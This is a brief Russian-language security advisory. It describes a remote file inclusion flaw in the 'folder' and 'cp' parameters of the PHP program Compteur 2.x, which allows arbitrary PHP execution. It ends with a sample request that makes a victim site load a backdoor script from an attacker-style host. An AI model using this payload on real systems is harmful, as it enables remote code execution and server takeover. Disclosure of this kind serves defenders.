Программа: Compteur 2.x
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "folder" сценарием param_editor.php и в параметре "cp" сценарием compteur.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.
Пример:
http://victim.xx/param_editor.php?folder=http://hack.c/backd.txt?
